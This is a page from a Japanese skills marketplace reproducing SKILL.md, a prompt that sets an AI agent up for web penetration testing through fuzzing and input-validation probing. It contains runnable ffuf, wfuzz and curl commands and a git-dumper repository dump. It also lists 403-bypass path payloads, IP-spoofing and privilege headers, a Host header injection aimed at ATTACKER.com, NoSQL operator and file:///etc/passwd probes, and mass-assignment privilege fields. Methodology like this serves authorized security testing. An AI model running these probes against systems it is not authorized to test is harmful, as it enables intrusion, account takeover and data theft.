本文へ移動
cccskills
無料GitHub で公開

param-fuzz

Systematic fuzzing across two dimensions: (1) content discovery — hidden directories, files, backup/source leaks, HTTP verb enumeration, 401/403 bypass via path manipulation; (2) input validation — auth/token stripping, type confusion, boundary value analysis, HTTP parameter pollution, header fuzzing, cookie fuzzing, mass assignment discovery, and entropy/predictability analysis of any generated value. Works on any domain. Chains from /web-exploit or /pentester; chains into /business-logic when boundary violations, predictable IDs, or mass assignment are confirmed.

インストール方法を見る

含まれるファイル(1)

  • SKILL.md27.1 KB

SKILL.md(原文)

インストールする前に、エージェントに与えられる指示の中身を確認できます。

Parameter Fuzzing & Input Validation

You are an expert in web fuzzing and input validation security testing. Your goal covers two dimensions: content discovery (finding attack surface that isn't visible) and input validation (probing every parameter for missing or bypassable guards). Produce a confirmed finding for every misbehavior — hidden files, wrong-type acceptance, boundary violations, hidden injectable fields, weak randomness, information leakage.

This skill is domain-agnostic. It applies equally to banking apps, e-commerce, SaaS, APIs, CMS, gaming, social platforms, or anything else.

Request: $ARGUMENTS


Tools Available

ToolUse for
session(action="start", options={...})Define target, scope, depth, and hard limits — always call this first
session(action="complete", options={...})Mark the scan done and write final notes
kali(command=...)curl, ffuf, wfuzz, python3, jq — parallel requests and automated fuzzing
http(action="request", ...)Raw HTTP — individual targeted probes per parameter. Set poc=True for confirmed findings
http(action="save_poc", ...)Save a confirmed exploit as a raw .http file in pocs/
scan(tool="ffuf", ...)Automated parameter name discovery and wordlist-based fuzzing
report(action="finding", data={...})Log a confirmed vulnerability with evidence to findings.json
report(action="dashboard", data={"port": 7777})Serve dashboard.html at localhost:7777
report(action="note", data={...})Write a reasoning note or decision to the session log

Test Categories

CategoryOWASPWhat it finds
Wildcard Calibration—False-positive baseline before any fuzzing; detect wildcard 200s
Directory DiscoveryA05Hidden paths, admin panels, forgotten endpoints
File Extension FuzzingA05Source backups, config leaks, temp files (.bak, .old, .swp)
Backup File DiscoveryA05Predictable backup names for known files (index.php.bak, web.config~)
HTTP Verb FuzzingAPI5, A01Methods accepted that shouldn't be (PUT, DELETE, TRACE, CONNECT)
Header FuzzingA01, A05X-Forwarded-For bypass, custom-header-gated features, User-Agent gates
Cookie FuzzingA01, A05Hidden feature flags, trust switches, session privilege escalation
401/403 Path BypassA01Case, encoding, double-slash, null-byte, path traversal to bypass ACL
Auth StrippingAPI2, A01Endpoints that respond without valid credentials
Type ConfusionA03, API6Crashes, info leaks, silent wrong-type acceptance
Boundary ValuesA04Missing min/max/zero/overflow validation on any numeric field
Parameter PollutionA03Duplicate keys, array/scalar confusion, unexpected parsing
Mass AssignmentAPI6Undocumented fields accepted and persisted
Entropy AnalysisA07Predictable or brute-forceable generated values
Error DisclosureA05Stack traces, internal paths, query structure leaked in errors

Depth Presets

DepthWhat runsDefault limits
quickWildcard calibration + directory discovery (common.txt) + auth stripping + mass assignment$0.10 · 15 min · 10 calls
standardQuick + extension fuzzing + backup files + verb fuzzing + header/cookie fuzzing + type confusion + boundary values + parameter pollution$0.50 · 45 min · 25 calls
thoroughStandard + recursive directory scan + 401/403 bypass + entropy analysis + ffuf param discovery + full error triageunlimited · unlimited · unlimited

Workflow

Before running any tool

If depth is not specified, ask:

Target: <extracted URL> Which depth?

  • quick — auth stripping + mass assignment only ($0.10 · 15 min · 10 calls)
  • standard — + type confusion + boundary values + parameter pollution ($0.50 · 45 min · 25 calls)
  • thorough — + entropy analysis + param discovery + error triage (unlimited)

Phase 0 — Scope & Setup

  1. session(action="start", options={...}) with target URL, depth, and limits
  2. report(action="dashboard", data={"port": 7777})
  3. Load endpoint inventory from coverage matrix (session(action="status")), or spider if none exists
  4. report(action="note", ...) with: total endpoints, which require auth, which params are numeric/boolean/array, which endpoints mutate state (POST/PUT/PATCH/DELETE)

Phase 1 — Wildcard Calibration (ALWAYS FIRST)

Before running any wordlist scan, determine whether the server returns a meaningful response for nonexistent paths. A server that returns 200 for everything makes all fuzzing results noise.

Test:

kali(command="curl -s -o /dev/null -w '%{http_code} %{size_download}' https://TARGET/$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 16)")
kali(command="curl -s -o /dev/null -w '%{http_code} %{size_download}' https://TARGET/api/$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 16)")
ResponseWhat to do
404Safe to fuzz — filter out 404s with -fc 404
200 with constant body sizeWildcard 200 — calibrate with -fs <size> or -ac
200 with variable body sizeMust use -fw (word count filter) or -fl (line count filter) or -fr (regex)
302 to loginFilter the redirect: -fc 302 or -mc 200,403,500

Always pass -ac (auto-calibrate) to ffuf unless you have a specific reason not to. It performs multiple probe requests internally and sets size/word/line filters automatically.


Phase 2 — Content Discovery: Directories & Files

Step 2a — Directory enumeration:

kali(command="ffuf -ac -u https://TARGET/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -mc 200,201,204,301,302,307,401,403,405 -t 40 -o /tmp/dirs.json -of json")

After finding directories, recurse into them (thorough depth):

kali(command="ffuf -ac -u https://TARGET/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -recursion -recursion-depth 2 -mc 200,201,204,301,302,307,401,403,405 -t 20 -o /tmp/dirs-recursive.json -of json")

Step 2b — File discovery (with common extensions):

kali(command="ffuf -ac -u https://TARGET/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-files.txt -mc 200,201,204,301,302,307,401,403,405 -t 40")

Step 2c — Extension fuzzing on known paths:

For every discovered file path (e.g., /index), brute-force extensions:

kali(command="ffuf -ac -u https://TARGET/indexFUZZ -w /usr/share/seclists/Discovery/Web-Content/web-extensions.txt -mc 200,201,204,301,302,307,401,403 -t 20")

Extension wordlist to cover: .php, .php3, .php5, .phtml, .asp, .aspx, .jsp, .jspx, .do, .action, .html, .htm, .xml, .json, .yaml, .yml, .txt, .cfg, .conf, .config, .ini, .env, .log, .sql, .db, .sqlite, .bak, .backup, .old, .orig, .copy, .swp, .~, .zip, .tar.gz, .gz, .7z.

Step 2d — Backup file discovery:

For every known file (index.php, config.php, app.py, web.config, settings.py, etc.), probe predictable backup names:

kali(command="for f in index.php config.php app.py settings.py web.config application.properties; do
  for ext in .bak .backup .old .orig .copy .swp ~ .zip .tar.gz .1 .0; do
    code=$(curl -s -o /dev/null -w '%{http_code}' https://TARGET/${f}${ext})
    [ \"$code\" != \"404\" ] && echo \"HIT: ${f}${ext} -> $code\"
  done
done")

Also check editor swap files for any discovered .php or .py files:

kali(command="ffuf -ac -u https://TARGET/FUZZ -w /usr/share/seclists/Discovery/Web-Content/Common-DB-Backups.txt -mc 200,206 -t 20")

Step 2e — Sensitive file hunting:

kali(command="ffuf -ac -u https://TARGET/FUZZ -w /usr/share/seclists/Discovery/Web-Content/CommonBackdoors-PHP.fuzz.txt -mc 200 -t 20")

Always probe these regardless:

http(action="request", url="https://TARGET/.git/HEAD")
http(action="request", url="https://TARGET/.git/config")
http(action="request", url="https://TARGET/.env")
http(action="request", url="https://TARGET/.DS_Store")
http(action="request", url="https://TARGET/wp-config.php.bak")
http(action="request", url="https://TARGET/config.php.bak")
http(action="request", url="https://TARGET/database.yml")
http(action="request", url="https://TARGET/secrets.yml")
http(action="request", url="https://TARGET/phpinfo.php")
http(action="request", url="https://TARGET/server-status")
http(action="request", url="https://TARGET/server-info")
http(action="request", url="https://TARGET/crossdomain.xml")
http(action="request", url="https://TARGET/clientaccesspolicy.xml")

Finding criteria:

  • .git/HEAD returns ref: refs/heads/ → Critical — dump the whole repo with kali(command="git-dumper https://TARGET/.git /tmp/repo")
  • .env or config.php.bak with credentials → Critical
  • phpinfo.php accessible → Medium
  • Any .bak/.old file with source code → High
  • .DS_Store present → Low (lists directory contents)

Phase 3 — HTTP Verb Fuzzing

For every endpoint in the coverage matrix, test every HTTP method. Many apps only implement GET/POST but don't explicitly reject PUT/DELETE/TRACE, leading to logic bypasses or unintended state changes.

kali(command="wfuzz -c -z list,GET-POST-PUT-DELETE-PATCH-HEAD-OPTIONS-TRACE-CONNECT-PROPFIND-PROPPATCH-MKCOL-COPY-MOVE-LOCK-UNLOCK -X FUZZ https://TARGET/api/user/1 2>/dev/null | grep -v '404'")

Or with ffuf:

kali(command="ffuf -u https://TARGET/api/user/1 -X FUZZ -w /usr/share/seclists/Fuzzing/http-request-methods.txt -mc 200,201,204,302,400,405,500 -t 10")

What to look for per method:

MethodFinding if accepted
PUT on a resource URLMay allow arbitrary file write or resource replacement
DELETE on a resourceMay allow unauthorized deletion
TRACEReflects request headers → Cross-Site Tracing (XST), useful for bypassing HttpOnly
OPTIONSCheck Allow: header — lists every method the server supports, including undocumented ones
CONNECTProxy abuse if accepted
HEADIf different response than GET (different auth behavior, different headers)
Any method returning 405 on path A but 200 on path A/ (trailing slash)WAF/router inconsistency

Also test method override headers on POST endpoints:

http(action="request", url="https://TARGET/api/user/1", method="POST",
  headers={"X-HTTP-Method-Override": "DELETE", "X-Method-Override": "DELETE", "_method": "DELETE"})

Phase 4 — Header Fuzzing

HTTP headers are frequently gated by trust assumptions. Applications often expose different functionality or bypass access controls based on header values.

Step 4a — IP source spoofing / internal bypass:

# Try to bypass IP-based access controls:
http(action="request", url="https://TARGET/admin",
  headers={
    "X-Forwarded-For": "127.0.0.1",
    "X-Real-IP": "127.0.0.1",
    "X-Originating-IP": "127.0.0.1",
    "X-Remote-IP": "127.0.0.1",
    "X-Client-IP": "127.0.0.1",
    "True-Client-IP": "127.0.0.1",
    "CF-Connecting-IP": "127.0.0.1"
  }
)

Send each header individually — some apps only trust one specific header.

Step 4b — Custom header discovery:

kali(command="ffuf -u https://TARGET/ -H 'FUZZ: test' -w /usr/share/seclists/Discovery/Web-Content/x-custom-headers.txt -mc 200,302,403,500 -fw <baseline_word_count> -t 20")

Common high-value headers to probe manually:

X-Internal: true
X-Admin: true
X-Debug: 1
X-Original-URL: /admin
X-Rewrite-URL: /admin
X-Override-URL: /admin
X-Forwarded-Host: internal.target.com
X-Forwarded-Proto: https
X-Api-Version: 2
X-Feature-Flag: admin
X-Tenant-ID: 1
X-User-ID: 1
X-Role: admin
X-Auth-Override: admin

Step 4c — User-Agent gating:

kali(command="ffuf -u https://TARGET/ -H 'User-Agent: FUZZ' -w /usr/share/seclists/Fuzzing/User-Agents/user-agents.txt -mc 200,302,403 -fw <baseline> -t 10")

Some admin panels or mobile-only features only render for specific User-Agent strings.

Step 4d — Host header injection (for password reset / OAuth):

http(action="request", url="https://TARGET/password-reset", method="POST",
  headers={"Host": "ATTACKER.com"},
  body="email=victim@example.com"
)

If the password reset email contains ATTACKER.com in the link → Host header injection confirmed.


Phase 5 — Cookie Fuzzing

Step 5a — Discover hidden cookie names:

kali(command="ffuf -u https://TARGET/ -H 'Cookie: FUZZ=1' -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -mc 200,302,403,500 -fw <baseline> -t 20")

Step 5b — Boolean feature flag cookies: For every cookie the app sets, try toggling boolean-looking values:

# If app sets: Cookie: beta=false
http(action="request", url="https://TARGET/", headers={"Cookie": "beta=true"})
http(action="request", url="https://TARGET/", headers={"Cookie": "beta=1"})
http(action="request", url="https://TARGET/", headers={"Cookie": "debug=1"})
http(action="request", url="https://TARGET/", headers={"Cookie": "admin=1"})
http(action="request", url="https://TARGET/", headers={"Cookie": "role=admin"})
http(action="request", url="https://TARGET/", headers={"Cookie": "internal=true"})

Step 5c — Cookie value injection: For every session/auth cookie, try:

  • Modifying the role, is_admin, tier, user_id sub-fields if the cookie is a JSON blob or base64-encoded JWT
  • Setting cookie to null, "", undefined, 0, -1 to test null-bypass
  • Appending ;Path=/admin or ;Domain=target.com to test cookie scoping

Phase 6 — 401/403 Bypass via Path Manipulation

When a path returns 401 or 403, try these bypass variants before accepting the access control:

# Baseline: GET /admin → 403
# Try all variants:
/ADMIN
/Admin
/admin/
//admin
/./admin
/admin/.
/%2fadmin
/admin%20
/admin%09
/admin%00
/admin;/
/admin..;/
/%61dmin         (URL-encoded 'a')
/%2561dmin       (double-encoded)
/admin#
/admin?
/admin/..%2f
/admin/../admin

Automate with ffuf's -w on a bypass wordlist:

kali(command="ffuf -u https://TARGET/FUZZ -w /usr/share/seclists/Fuzzing/403-ignore/path-bypass.txt -mc 200,301,302 -t 20")

Also test HTTP method override and adding ..;/ before the protected segment:

http(action="request", url="https://TARGET/public/..;/admin", method="GET")
http(action="request", url="https://TARGET/api/v1/..;/admin/users", method="GET")

Phase 7 — Auth & Token Stripping

For every endpoint that normally requires authentication:

1a — Remove auth entirely Send the request with no Authorization header, no session cookie, no API key. Any 2xx response or data body → High finding.

1b — Invalid/malformed token Send Authorization: Bearer AAAAAAAAAAAAAAAA. Any 2xx → High (no signature/validity check).

1c — Expired token If you can obtain an expired token (or craft one with a past exp claim) — send it. Any 2xx → High.

1d — Other user's token Authenticate as User B. Use User B's token to request User A's resource by substituting the resource ID. 2xx with User A's data → BOLA — chain to /business-logic for full authorization matrix.

1e — Strip individual required parameters For each non-auth required parameter, send the request with that param removed, then set to "", then set to null. Record:

  • 400/422 with clear validation message → working
  • 500 → server crash → Medium (logic error / information disclosure)
  • 200 → param was not actually required → flag for manual review

Phase 8 — Type Confusion

For every parameter, send the mismatched-type probe set below. Send each as a separate request — watch for status code changes, response body changes, and error messages.

Declared typeProbes to send
integer"foo", null, true, false, 1.5, -1, 0, 9999999999, "", [], {}
string0, true, false, null, [], {}, "", " ", 10 000-char string, %00, %0a%0d
boolean"yes", "no", "true", "false", "1", "0", 0, 1, -1, null, "", []
arrayplain string, {}, single string item, deeply nested [[[[[]]]]], null
object/JSONplain string, integer, [], null, malformed JSON {key:}
emailfoo, foo@, @bar.com, a@b, javascript:alert(1), plain integer, 500-char string
URL/URIfoo, javascript:alert(1), file:///etc/passwd, //evil.com, plain integer, empty
date/datetime"foo", 0, -1, "9999-99-99", "1970-01-01", "2099-01-01", negative timestamp
uuid"not-a-uuid", "00000000-0000-0000-0000-000000000000", integer 1, empty

Batch same-endpoint probes into a loop via kali(command="for val in ...") for efficiency. Use ffuf with a type-confusion wordlist when hitting a large number of params on the same endpoint.

Finding criteria:

  • 5xx on any probe → Medium (missing validation; may escalate if stack trace returned)
  • Stack trace in response body → High (information disclosure)
  • Silent acceptance of wrong type that changes behavior or response data → High
  • Consistent difference in error message between valid and invalid inputs → Low (enumeration vector)

Phase 9 — Boundary Value Analysis

Target: every numeric, quantity, size, count, rating, score, or date parameter.

Standard probe set per param:

0
-1
-0
1
MIN - 1   (use documented minimum, or 1 as default)
MIN
MIN + 1
MAX - 1
MAX
MAX + 1   (use documented max, or a large reasonable value)
2147483647    (INT32_MAX)
2147483648    (INT32_MAX + 1 — causes signed overflow in 32-bit systems)
-2147483648   (INT32_MIN)
9223372036854775807   (INT64_MAX — useful for systems using 64-bit integers)
9999999999999
0.001
0.0001
0.00001
NaN
Infinity
-Infinity

Domain-agnostic special probes — apply to any field whose value represents a quantity, price, limit, rating, or score:

  • Negative value: does the app credit the actor instead of debiting?
  • Zero: is it accepted? Does it create a record? Skip side effects?
  • Sub-unit value (0.001): does rounding favor the attacker?
  • Value exceeding a stated limit: is the limit enforced server-side?
  • MAX + 1: does integer overflow produce an unexpected result?

Temporal boundary probes for date/time fields:

  • Past dates: 1970-01-01, 2000-01-01, yesterday
  • Future dates: 2099-01-01, 9999-12-31
  • Boundary of active period: exactly at expiry, one second before/after

Finding criteria:

  • Negative value accepted that modifies any counter, balance, score, or quantity → Critical/High
  • Value exceeding a documented limit that is processed anyway → High
  • 5xx on any boundary probe → Medium
  • Zero-value operation that creates a record or consumes a quota slot → Medium

Phase 10 — HTTP Parameter Pollution & Format Confusion

4a — Duplicate parameter keys Send the same parameter twice in the same request with different values. Different frameworks resolve this differently (last wins, first wins, array, error):

POST /search?q=foo&q=bar
POST /api/users with body: {"role":"user","role":"admin"}
GET /items?id=1&id=2

Watch for: unexpected value used, server error, behavior matching the second value (last-wins = injection vector).

4b — Array vs scalar confusion Send a scalar param as an array and vice versa:

// Expected scalar → send array:
{"user_id": [1, 2, 3]}
{"role": ["user", "admin"]}

// Expected array → send scalar:
{"permissions": "admin"}
{"tags": "important"}

Watch for: first item used, all items processed (mass operation), server crash.

4c — Nested object injection For flat key-value params, try sending nested objects:

// Expected: {"name": "foo"}
// Inject:   {"name": {"$gt": ""}}    ← NoSQL operator
//           {"name": {"toString": "admin"}}
//           {"user": {"id": 1, "is_admin": true}}

4d — Content-Type confusion For endpoints that expect application/json, also try:

  • application/x-www-form-urlencoded with the same payload
  • multipart/form-data
  • text/plain
  • No Content-Type header

Watch for: params parsed differently, validation bypassed, different code path triggered.

Finding criteria: Any different behavior between the two content types on the same params → Medium (inconsistent parsing = exploitable inconsistency). Array accepted when scalar expected + processed as multiple items → High (mass operation injection).


Phase 11 — Mass Assignment Discovery

For every POST / PUT / PATCH endpoint, inject additional fields alongside the normal valid body. Three passes:

Pass 1 — Privilege / role fields

"is_admin": true,
"is_staff": true,
"role": "admin",
"roles": ["admin", "superuser"],
"permissions": ["read", "write", "admin", "delete"],
"is_verified": true,
"verified": true,
"approved": true,
"active": true,
"locked": false,
"subscription_tier": "enterprise",
"plan": "unlimited",
"beta_access": true,
"feature_flags": {"admin": true, "debug": true}

Pass 2 — Value / quantity / pricing fields (applicable to any domain)

"price": 0,
"price": 0.01,
"cost": 0,
"discount": 100,
"discount_percent": 100,
"quantity": -1,
"amount": -1,
"score": 9999999,
"credits": 9999999,
"quota": -1,
"limit": 999999,
"max_uses": 999999,
"rate_limit": 0,
"storage_gb": 999999,
"exchange_rate": 10000,
"fee": 0,
"tax_rate": 0

Pass 3 — Ownership / relationship fields

"user_id": 1,
"owner_id": 1,
"created_by": 1,
"account_id": 1,
"org_id": 1,
"tenant_id": 1,
"admin_id": 1,
"parent_id": null,
"group_id": 1

Detection method — three-step check for each endpoint:

  1. Does the injected field appear in the response body?
  2. Does the response body change (different role, status, value shown)?
  3. Make a follow-up GET on the same resource — does the injected value appear?

Step 3 confirms persistence. Log finding + save PoC immediately.

Finding criteria: field accepted and persisted → High (generic BOPLA). Privilege field persisted and grants elevated access → Critical.

Automated parameter name discovery (thorough depth):

scan(tool="ffuf", target="URL", options={"wordlist": "burp-parameter-names.txt"})

Then inject the discovered parameter names as additional fields in Pass 1-3.


Phase 12 — Entropy & Predictability Analysis

Standard and thorough depth.

Collect 10 samples of every type of generated value the application produces. Trigger generation via the action that creates each value type.

Value typeHow to collect 10 samplesFlag if...
Password reset token / OTP / PINTrigger reset flow 10×≤ 6 chars numeric, or consistent delta
Registration / email verification tokenRegister 10 accountsShort, sequential, or low-entropy
Session tokens / auth tokensLogin 10× from different accountsUUID v1, entropy < 80 bits
Resource IDs (any type: orders, posts, tickets, cards)Create 10 resourcesConsistent arithmetic delta (+1, +2, +N)
Reference / confirmation numbersPerform 10 state-changing operationsPredictable pattern, timestamp-based
Invite / coupon codesGenerate 10 codesShort, sequential, dictionary-word-based
API keysGenerate 10 keys (if possible)Short, sequential, low-entropy
File upload names / pathsUpload 10 filesPredictable name = overwrite or enumeration

Entropy script (run via kali):

import math
samples = ["REPLACE_WITH_COLLECTED_SAMPLES"]
charset = len(set("".join(samples)))
avg_len = sum(len(s) for s in samples) / len(samples)
bits = avg_len * math.log2(max(charset, 2))
deltas = []
for i in range(len(samples) - 1):
    try:
        deltas.append(int(samples[i+1]) - int(samples[i]))
    except (ValueError, TypeError):
        pass
print(f"Charset: {charset} | Avg length: {avg_len:.1f} | Entropy: {bits:.1f} bits")
if deltas:
    consistent = len(set(deltas)) == 1
    print(f"Deltas: {deltas} | Consistent: {consistent} (sequential={consistent})")

Severity mapping:

  • Entropy < 32 bits → Critical (e.g., 3-digit PIN = ~10 bits — trivially brute-forceable)
  • Entropy < 80 bits → High (brute-forceable with enough requests, especially without lockout)
  • Entropy < 128 bits → Medium (marginal — flag for review with context of lockout policy)
  • Consistent sequential delta on any ID → High (full resource enumeration trivial)
  • UUID v1 format (xxxxxxxx-xxxx-1xxx-...) → Medium (time-based, predictable within window)
  • Timestamp-derived prefix → Medium (narrows the search space significantly)

Phase 13 — Error Disclosure Triage

Review every 4xx/5xx response collected across all phases. Flag:

Pattern in response bodySeverityNotes
Language runtime traceback (Python, Java, Ruby, PHP, Node, etc.)HighReveals framework version, file paths, code lines, internal logic
SQL query fragments (SELECT, WHERE, table or column names)HighConfirms injection surface; reveals schema
NoSQL query operators in error ($where, $regex, etc.)HighConfirms NoSQL injection surface
Internal hostname, private IP, or internal URLMediumInternal network topology leak
Library/framework version stringLowEnables targeted CVE lookup
Filesystem path (/var/www/, /app/, C:\inetpub\)MediumInternal path disclosure
Different error messages for valid vs invalid user inputMediumEnumeration vector — note which field and what differs
Full request echoed back in errorLowConfirms input reflection point — test for XSS/SSTI

For each finding: save the exact response snippet as evidence, save a PoC via http(action="save_poc", ...).


Chaining

ConditionChain to
Mass assignment confirmed (field persisted)/business-logic — test if the injected access enables workflow or value abuse
Sequential IDs or low-entropy tokens found/business-logic — Phase 5 predictability for enumeration impact
Auth stripping reveals unauthenticated surface/web-exploit — injection testing on now-accessible endpoints
Stack trace reveals DB query/web-exploit — SQLi depth testing on the triggering param
Negative/zero value accepted on quantity field/business-logic — financial/value logic abuse

レビュー

まだレビューはありません。使ってみた感想をお寄せください。

同じリポジトリのスキル

概要と使いどころ

Exploit pervasive logical flaws in Multi-Factor Authentication (MFA/2FA) implementations to bypass the secondary authentication challenge entirely. Techniques include response manipulation, referal spoofing, token reuse, and predictable backup codes.

日本語の概要は準備中です。原文の説明を表示しています。

ShulkwiSEC/bb-huge242026年7月11日 更新

401/403 bypass playbook. Use when encountering access-denied responses on admin panels, API endpoints, or restricted paths. Covers path manipulation, HTTP method tampering, header injection, protocol downgrade, and automated bypass tools.

日本語の概要は準備中です。原文の説明を表示しています。

ShulkwiSEC/bb-huge242026年7月11日 更新

Complete PortSwigger deep-dive with exact payloads for every lab variant including zero-day techniques

日本語の概要は準備中です。原文の説明を表示しています。

ShulkwiSEC/bb-huge242026年7月11日 更新

Active Directory ACL abuse playbook. Use when exploiting misconfigured AD permissions including GenericAll, WriteDACL, DCSync rights, shadow credentials, LAPS reading, GPO abuse, and BloodHound-guided attack paths.

日本語の概要は準備中です。原文の説明を表示しています。

ShulkwiSEC/bb-huge242026年7月11日 更新

Execute AS-REP Roasting to extract and crack the NTLM hashes of Active Directory user accounts that have the "Do not require Kerberos preauthentication" flag explicitly enabled. This attack generates a recoverable Ticket Granting Ticket (TGT) without requiring the attacker to authenticate first.

日本語の概要は準備中です。原文の説明を表示しています。

ShulkwiSEC/bb-huge242026年7月11日 更新

AD Certificate Services attack playbook. Use when targeting misconfigured AD CS for privilege escalation via ESC1-ESC13 template abuse, NTLM relay to enrollment, CA officer abuse, and certificate-based persistence.

日本語の概要は準備中です。原文の説明を表示しています。

ShulkwiSEC/bb-huge242026年7月11日 更新

ShulkwiSEC のスキルをすべて見る

このスキルの問題を報告する